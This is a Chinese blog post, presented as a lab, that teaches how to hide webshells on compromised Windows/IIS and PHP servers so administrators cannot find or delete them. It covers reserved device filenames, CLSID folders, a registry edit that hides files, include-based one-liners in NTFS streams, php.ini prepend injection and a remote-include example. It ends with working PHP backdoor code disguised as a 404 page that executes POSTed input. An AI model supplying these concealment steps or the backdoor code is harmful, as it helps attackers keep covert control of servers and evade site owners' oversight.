-->
当前位置:首页 > 实验 > 正文内容

隐藏shell实验

Luz3年前 (2020-12-11)实验1938

【实验目的】

  • 隐藏shell方法、分析

【实验原理】

  在上传webshell的时候必须要进行webshell的隐藏工作。隐藏webshell,第一个目的是不让网站管理员发现马将其删掉,第二个目的是为了不被其他的Hacker发现了这个文件并加以利用。

1.隐藏shell的主要方法:

  • 不死僵尸

  • clsid隐藏

  • 注册表隐藏

  • 驱动隐藏技术

  • 头文件包含隐藏

  • 配置文件隐藏一句话

  • 404小马

【实验步骤】

步骤1:不死僵尸

  1.1 我们知道Windows下是不能以aux|prn|con|nul|com1|com2|com3|com4|com5|com6|com7|com8|com9|lpt1|lpt2|lpt3|lpt4|lpt5|lpt6|lpt7|lpt8|lpt9这些系统保留文件名来命名文件或文件夹的,但是通过copy命令却可以实现,方法就是在cmd中输入(之前需要先自行创建一个wap.asp):

copy D:\wap.asp \\.\D:\lpt2.wap.asp

 

图1

  记得必须要有\\.\,否则会出现系统找不到指定的文件提示,而这样的文件在IIS中却是可以成功解析的,webshell中的不死僵尸木马后门正是利用了这个原理来隐藏后门,这种不死马在图形界面下根本无法删除,只能通过cmd中输入。

del \\.\D:\lpt2.wap.asp

 

图2

步骤2:利用clsid隐藏

  2.1 windows中每一个程序都有一个clsid,创建一个文件夹,取名x.{20D04FE0-3AEA-1069-A2D8-08002B30309D}这时候打开这个文件夹就是我的电脑了。

 

图3

  为了更隐蔽些我们可以结合windows保留字使用以下命令:

  • md \.\d:\com1.{20D04FE0-3AEA-1069-A2D8-08002B30309D}

  这样生成的文件夹无法删除,无法修改,无法查看

 

图4

步骤3:利用注册表隐藏

  3.1 注册表路径:

  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL

 

图5

  在这个路径下有一个CheckedValue的键值,把他修改为0,如果没有CheckValue这个key直接创建一个,将他赋值为0,重启计算机,然后创建的隐藏文件就彻底隐藏了,即时在文件夹选项下把"显示所有文件"也不能显示了。

 

图6

  3.2 然后在文件夹选项选择显示隐藏的文件、文件夹和驱动器。

 

图7

  发现隐藏文件和文件夹都不显示了。
  之后可以利用上面的两步在隐藏的文件夹内隐藏webshell。

步骤4:驱动隐藏技术

  4.1 原理是在于,在windows文件系统中,打开文件夹的时候系统会发送一个IRP_MJ_DIRECTORY_CONTROL函数,这个函数可以分配一个缓冲区,将该文件夹下的子文件夹遍历处理得到的信息存放至缓冲区,在遍历的时候,寻找匹配的文件名,如果文件名匹配,就绕过当前文件夹或者文件,对于绕过的原理,我查询了下代码,根据我的理解,它是根据将遍历的指针在查询到目标文件的时候,加上该文件的偏移量,不扫描目标文件夹,直接跳过。

  对于这种技术的实施,虽然网上很多C的源码,但是操作起来有一定的困难,因为头文件的支持,还有系统的支持(不同系统的文件系统会不同),在网上查找到了Easy File Locker程序,需要将其安装至web服务器上,对目标文件设置权限。

步骤5:头文件包含隐藏

  5.1 原理是在于,在web里面的一些脚本文件中,有些文件里面有包含语句,可以利用这种包含方法包含一句话文件,在访问这个页面会直接调用这些一句话。

  5.2 asp包含语句:<!–#includefile="文件路径"–>,直接填入路径,文件路径是web服务器上的路径。

  可以使用站长住手将一句话的NTFS流小马写入图片里面,将路径的\:写入之后图片是显示不了的,然后找到web服务器上的一个asp文件,在文件的开始部分写上include语句,<!–#includefile="inc:1.jpg"–>。文件包含可以解析NTFS流为asp,包含之后,我们访问那个asp文件就包含了一句话,这样就隐藏了一句话。

  5.3 php包含语句:<?php include($include);?>

  5.4 也存在外部的文件包含例如:<http://www.hy1.com/1.php?Include=http://www.hy2.com/2.php>

步骤6:配置文件隐藏一句话

  6.1 在拿到PHP的webshell之后,可以利用php.ini隐藏文件,编辑配置文件,其中一个项功能是将某一个文件的内容添加到任意界面的页眉页脚:

auto_prepend_file =hehe.php

然后看

include_path = "E:\PHPnow-1.5.6\htdocs;"

  这个配置信息表示加载页眉页脚的文集位置,path规则是"\path1;\path2″,表示将path1路径的文件夹下的页眉页脚文件添加到path中的文件中去,因为这里是一个'.'表示根路径,这里就相当于添加到了主页上面去了,然后hehe.asp文件里面写上一句话,就可以通过php添加页眉的共能,将一句话写入网站首页。

步骤7:404小马

  7.1 404小马在访问的时候显示出来一个404页面不存在的页面,但是实际上木马代码已经执行,有的是按5次shift可以将它调用出来,也有是404菜刀shell等多种型式

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">

<html><head>

<title>404 Not Found</title>

</head><body>

<h1>Not Found</h1>

<p>The requested URL was not found on this server.</p>

</body></html>

<?php

@preg_replace("/[pageerror]/e",$_POST['error'],"saft");

header('HTTP/1.1 404 Not Found');

?>

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。